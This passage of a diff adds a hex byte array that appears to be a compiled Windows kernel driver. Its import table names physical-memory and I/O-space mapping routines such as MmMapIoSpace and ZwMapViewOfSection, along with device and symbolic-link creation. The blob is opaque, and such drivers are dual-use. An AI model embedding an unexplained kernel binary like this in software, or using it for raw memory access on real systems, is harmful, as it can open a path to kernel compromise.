+ 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x50, 0x12, 0x00, 0x00, 0x37, 0x13, 0x00, 0x00, + 0x6C, 0x45, 0x00, 0x00, 0x38, 0x13, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x0C, 0x14, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, + 0x30, 0x45, 0x00, 0x00, 0xAC, 0x15, 0x00, 0x00, 0x22, 0x17, 0x00, 0x00, + 0x0C, 0x45, 0x00, 0x00, 0x24, 0x17, 0x00, 0x00, 0x86, 0x17, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x88, 0x17, 0x00, 0x00, 0xDB, 0x17, 0x00, 0x00, + 0x0C, 0x46, 0x00, 0x00, 0xDC, 0x17, 0x00, 0x00, 0x1D, 0x18, 0x00, 0x00, + 0xC8, 0x45, 0x00, 0x00, 0x20, 0x18, 0x00, 0x00, 0x9A, 0x18, 0x00, 0x00, + 0xD4, 0x45, 0x00, 0x00, 0x9C, 0x18, 0x00, 0x00, 0x7A, 0x19, 0x00, 0x00, + 0x50, 0x45, 0x00, 0x00, 0x7C, 0x19, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, + 0x50, 0x44, 0x00, 0x00, 0x20, 0x1A, 0x00, 0x00, 0x1A, 0x1F, 0x00, 0x00, + 0x64, 0x44, 0x00, 0x00, 0x1C, 0x1F, 0x00, 0x00, 0x85, 0x1F, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0x88, 0x1F, 0x00, 0x00, 0x4A, 0x20, 0x00, 0x00, + 0x84, 0x44, 0x00, 0x00, 0x4C, 0x20, 0x00, 0x00, 0xF7, 0x20, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0xF8, 0x20, 0x00, 0x00, 0xC7, 0x21, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0xC8, 0x21, 0x00, 0x00, 0xC1, 0x22, 0x00, 0x00, + 0x9C, 0x44, 0x00, 0x00, 0xC4, 0x22, 0x00, 0x00, 0x4A, 0x23, 0x00, 0x00, + 0xB4, 0x44, 0x00, 0x00, 0x4C, 0x23, 0x00, 0x00, 0xDE, 0x23, 0x00, 0x00, + 0xC4, 0x44, 0x00, 0x00, 0xE0, 0x23, 0x00, 0x00, 0xCF, 0x24, 0x00, 0x00, + 0xEC, 0x45, 0x00, 0x00, 0xD0, 0x24, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, + 0x30, 0x45, 0x00, 0x00, 0xF0, 0x26, 0x00, 0x00, 0xD7, 0x28, 0x00, 0x00, + 0xEC, 0x44, 0x00, 0x00, 0xD8, 0x28, 0x00, 0x00, 0x3B, 0x29, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x3C, 0x29, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, + 0x00, 0x46, 0x00, 0x00, 0x7C, 0x29, 0x00, 0x00, 0xB1, 0x29, 0x00, 0x00, + 0xC4, 0x44, 0x00, 0x00, 0xB4, 0x29, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, + 0x0C, 0x46, 0x00, 0x00, 0x14, 0x2A, 0x00, 0x00, 0x49, 0x2B, 0x00, 0x00, + 0x88, 0x45, 0x00, 0x00, 0x4C, 0x2B, 0x00, 0x00, 0x1A, 0x2C, 0x00, 0x00, + 0xA8, 0x45, 0x00, 0x00, 0x68, 0x2C, 0x00, 0x00, 0x0F, 0x2D, 0x00, 0x00, + 0xD4, 0x44, 0x00, 0x00, 0x64, 0x2D, 0x00, 0x00, 0x30, 0x2E, 0x00, 0x00, + 0x20, 0x46, 0x00, 0x00, 0x40, 0x2E, 0x00, 0x00, 0x5F, 0x2E, 0x00, 0x00, + 0x50, 0x46, 0x00, 0x00, 0x60, 0x2E, 0x00, 0x00, 0x87, 0x2E, 0x00, 0x00, + 0x5C, 0x46, 0x00, 0x00, 0x90, 0x2E, 0x00, 0x00, 0xAD, 0x2E, 0x00, 0x00, + 0xC8, 0x45, 0x00, 0x00, 0xB0, 0x2E, 0x00, 0x00, 0x0A, 0x2F, 0x00, 0x00, + 0x64, 0x46, 0x00, 0x00, 0x30, 0x2F, 0x00, 0x00, 0x32, 0x2F, 0x00, 0x00, + 0x88, 0x46, 0x00, 0x00, 0x50, 0x2F, 0x00, 0x00, 0x78, 0x2F, 0x00, 0x00, + 0x90, 0x46, 0x00, 0x00, 0x80, 0x2F, 0x00, 0x00, 0xC6, 0x2F, 0x00, 0x00, + 0x94, 0x46, 0x00, 0x00, 0xD0, 0x2F, 0x00, 0x00, 0xD6, 0x2F, 0x00, 0x00, + 0x98, 0x46, 0x00, 0x00, 0xE0, 0x2F, 0x00, 0x00, 0xE1, 0x2F, 0x00, 0x00, + 0x9C, 0x46, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x39, 0x33, 0x00, 0x00, + 0x70, 0x46, 0x00, 0x00, 0x40, 0x33, 0x00, 0x00, 0x3A, 0x34, 0x00, 0x00, + 0x80, 0x46, 0x00, 0x00, 0x00, 0x80, 0x00, 0x00, 0x2A, 0x80, 0x00, 0x00, + 0x3C, 0x46, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0D, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x89, 0x5C, 0x24, + 0x08, 0x57, 0x48, 0x83, 0xEC, 0x20, 0x48, 0x8B, 0xDA, 0x48, 0x8B, 0xF9, + 0xE8, 0x17, 0x00, 0x00, 0x00, 0x48, 0x8B, 0xD3, 0x48, 0x8B, 0xCF, 0x48, + 0x8B, 0x5C, 0x24, 0x30, 0x48, 0x83, 0xC4, 0x20, 0x5F, 0xE9, 0xFA, 0x96, + 0xFF, 0xFF, 0xCC, 0xCC, 0x48, 0x8B, 0x05, 0xD5, 0xCF, 0xFF, 0xFF, 0x45, + 0x33, 0xC9, 0x49, 0xB8, 0x32, 0xA2, 0xDF, 0x2D, 0x99, 0x2B, 0x00, 0x00, + 0x48, 0x85, 0xC0, 0x74, 0x05, 0x49, 0x3B, 0xC0, 0x75, 0x38, 0x0F, 0x31, + 0x48, 0xC1, 0xE2, 0x20, 0x48, 0x8D, 0x0D, 0xB1, 0xCF, 0xFF, 0xFF, 0x48, + 0x0B, 0xC2, 0x48, 0x33, 0xC1, 0x48, 0x89, 0x05, 0xA4, 0xCF, 0xFF, 0xFF, + 0x66, 0x44, 0x89, 0x0D, 0xA2, 0xCF, 0xFF, 0xFF, 0x48, 0x8B, 0x05, 0x95, + 0xCF, 0xFF, 0xFF, 0x48, 0x85, 0xC0, 0x75, 0x0A, 0x49, 0x8B, 0xC0, 0x48, + 0x89, 0x05, 0x86, 0xCF, 0xFF, 0xFF, 0x48, 0xF7, 0xD0, 0x48, 0x89, 0x05, + 0x84, 0xCF, 0xFF, 0xFF, 0xC3, 0xCC, 0xCC, 0xCC, 0xE0, 0x80, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x84, 0x00, 0x00, + 0x10, 0x40, 0x00, 0x00, 0xD0, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x44, 0x84, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x2A, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xEC, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0E, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x30, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x42, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x56, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x72, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x86, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x9C, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xAC, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xBE, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xDC, 0x82, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF6, 0x82, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x06, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xE0, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x2E, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x58, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x7C, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x98, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xA2, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xB2, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xC8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xF8, 0x83, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x0C, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1C, 0x83, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0xC8, 0x81, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC2, 0x07, 0x52, 0x74, + 0x6C, 0x49, 0x6E, 0x69, 0x74, 0x55, 0x6E, 0x69, 0x63, 0x6F, 0x64, 0x65, + 0x53, 0x74, 0x72, 0x69, 0x6E, 0x67, 0x00, 0x00, 0x57, 0x00, 0x44, 0x62, + 0x67, 0x50, 0x72, 0x69, 0x6E, 0x74, 0x00, 0x00, 0xB1, 0x03, 0x4B, 0x65, + 0x41, 0x63, 0x71, 0x75, 0x69, 0x72, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, + 0x63, 0x6B, 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, + 0x4C, 0x6F, 0x63, 0x6B, 0x00, 0x00, 0x5F, 0x04, 0x4B, 0x65, 0x52, 0x65, + 0x6C, 0x65, 0x61, 0x73, 0x65, 0x49, 0x6E, 0x53, 0x74, 0x61, 0x63, 0x6B, + 0x51, 0x75, 0x65, 0x75, 0x65, 0x64, 0x53, 0x70, 0x69, 0x6E, 0x4C, 0x6F, + 0x63, 0x6B, 0x00, 0x00, 0x94, 0x00, 0x45, 0x78, 0x41, 0x6C, 0x6C, 0x6F, + 0x63, 0x61, 0x74, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x00, 0xBE, 0x00, + 0x45, 0x78, 0x46, 0x72, 0x65, 0x65, 0x50, 0x6F, 0x6F, 0x6C, 0x57, 0x69, + 0x74, 0x68, 0x54, 0x61, 0x67, 0x00, 0xE2, 0x04, 0x4D, 0x6D, 0x42, 0x75, + 0x69, 0x6C, 0x64, 0x4D, 0x64, 0x6C, 0x46, 0x6F, 0x72, 0x4E, 0x6F, 0x6E, + 0x50, 0x61, 0x67, 0x65, 0x64, 0x50, 0x6F, 0x6F, 0x6C, 0x00, 0x0D, 0x05, + 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, + 0x61, 0x67, 0x65, 0x73, 0x00, 0x00, 0x34, 0x05, 0x4D, 0x6D, 0x55, 0x6E, + 0x6D, 0x61, 0x70, 0x4C, 0x6F, 0x63, 0x6B, 0x65, 0x64, 0x50, 0x61, 0x67, + 0x65, 0x73, 0x00, 0x00, 0x0B, 0x05, 0x4D, 0x6D, 0x4D, 0x61, 0x70, 0x49, + 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, 0x00, 0x00, 0x33, 0x05, 0x4D, 0x6D, + 0x55, 0x6E, 0x6D, 0x61, 0x70, 0x49, 0x6F, 0x53, 0x70, 0x61, 0x63, 0x65, + 0x00, 0x00, 0xD5, 0x04, 0x4D, 0x6D, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, + 0x74, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, 0x75, 0x73, + 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0xEF, 0x04, 0x4D, 0x6D, + 0x46, 0x72, 0x65, 0x65, 0x43, 0x6F, 0x6E, 0x74, 0x69, 0x67, 0x75, 0x6F, + 0x75, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00, 0x00, 0x65, 0x02, + 0x49, 0x6F, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x61, 0x74, 0x65, 0x4D, 0x64, + 0x6C, 0x00, 0x9B, 0x03, 0x49, 0x6F, 0x66, 0x43, 0x6F, 0x6D, 0x70, 0x6C, + 0x65, 0x74, 0x65, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x00, 0x00, + 0x8B, 0x02, 0x49, 0x6F, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x44, 0x65, + 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, 0x96, 0x02, 0x49, 0x6F, 0x43, 0x72, + 0x65, 0x61, 0x74, 0x65, 0x53, 0x79, 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, + 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, 0xA2, 0x02, 0x49, 0x6F, 0x44, 0x65, + 0x6C, 0x65, 0x74, 0x65, 0x44, 0x65, 0x76, 0x69, 0x63, 0x65, 0x00, 0x00, + 0xA4, 0x02, 0x49, 0x6F, 0x44, 0x65, 0x6C, 0x65, 0x74, 0x65, 0x53, 0x79, + 0x6D, 0x62, 0x6F, 0x6C, 0x69, 0x63, 0x4C, 0x69, 0x6E, 0x6B, 0x00, 0x00, + 0xB7, 0x02, 0x49, 0x6F, 0x46, 0x72, 0x65, 0x65, 0x4D, 0x64, 0x6C, 0x00, + 0xC8, 0x05, 0x4F, 0x62, 0x52, 0x65, 0x66, 0x65, 0x72, 0x65, 0x6E, 0x63, + 0x65, 0x4F, 0x62, 0x6A, 0x65, 0x63, 0x74, 0x42, 0x79, 0x48, 0x61, 0x6E, + 0x64, 0x6C, 0x65, 0x00, 0x8E, 0x09, 0x5A, 0x77, 0x43, 0x6C, 0x6F, 0x73, + 0x65, 0x00, 0xE4, 0x09, 0x5A, 0x77, 0x4F, 0x70, 0x65, 0x6E, 0x53, 0x65, + 0x63, 0x74, 0x69, 0x6F, 0x6E, 0x00, 0xCF, 0x09, 0x5A, 0x77, 0x4D, 0x61, + 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x00, 0x00, 0x5D, 0x0A, 0x5A, 0x77, 0x55, 0x6E, 0x6D, 0x61, + 0x70, 0x56, 0x69, 0x65, 0x77, 0x4F, 0x66, 0x53, 0x65, 0x63, 0x74, 0x69, + 0x6F, 0x6E, 0x00, 0x00, 0xF7, 0x04, 0x4D, 0x6D, 0x47, 0x65, 0x74, 0x50, + 0x68, 0x79, 0x73, 0x69, 0x63, 0x61, 0x6C, 0x41, 0x64, 0x64, 0x72, 0x65, + 0x73, 0x73, 0x00, 0x00, 0xFE, 0x04, 0x4D, 0x6D, 0x49, 0x73, 0x41, 0x64, + 0x64, 0x72, 0x65, 0x73, 0x73, 0x56, 0x61, 0x6C, 0x69, 0x64, 0x00, 0x00, + 0xC9, 0x03, 0x4B, 0x65, 0x42, 0x75, 0x67, 0x43, 0x68, 0x65, 0x63, 0x6B, + 0x45, 0x78, 0x00, 0x00, 0x6E, 0x74, 0x6F, 0x73, 0x6B, 0x72, 0x6E, 0x6C, + 0x2E, 0x65, 0x78, 0x65, 0x00, 0x00, 0x48, 0x00, 0x48, 0x61, 0x6C, 0x54, + 0x72, 0x61, 0x6E, 0x73, 0x6C, 0x61, 0x74, 0x65, 0x42, 0x75, 0x73, 0x41, + 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x00, 0x00, 0x48, 0x41, 0x4C, 0x2E, + 0x64, 0x6C, 0x6C, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x10, 0x00, 0x00, 0x00, 0x18, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x30, 0x00, 0x00, 0x80, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x04, 0x04, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00, 0x60, 0x90, 0x00, 0x00, + 0xE8, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE8, 0x02, 0x34, 0x00, + 0x00, 0x00, 0x56, 0x00, 0x53, 0x00, 0x5F, 0x00, 0x56, 0x00, 0x45, 0x00, + 0x52, 0x00, 0x53, 0x00, 0x49, 0x00, 0x4F, 0x00, 0x4E, 0x00, 0x5F, 0x00, + 0x49, 0x00, 0x4E, 0x00, 0x46, 0x00, 0x4F, 0x00, 0x00, 0x00, 0x00, 0x00, + 0xBD, 0x04, 0xEF, 0xFE, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x00, + 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x00, + 0x3F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, + 0x03, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, + 0x00, 0x00, 0x00, 0x00, 0x46, 0x02, 0x00, 0x00, 0x01, 0x00, 0x53, 0x00, + 0x74, 0x00, 0x72, 0x00, 0x69, 0x00, 0x6E, 0x00, 0x67, 0x00, 0x46, 0x00, + 0x69, 0x00, 0x6C, 0x00, 0x65, 0x00, 0x49, 0x00, 0x6E, 0x00, 0x66, 0x00, + 0x6F, 0x00, 0x00, 0x00, 0x22, 0x02, 0x00, 0x00, 0x01, 0x00, 0x30, 0x00, + 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x30, 0x00, 0x34, 0x00, 0x62, 0x00, + 0x30, 0x00, 0x00, 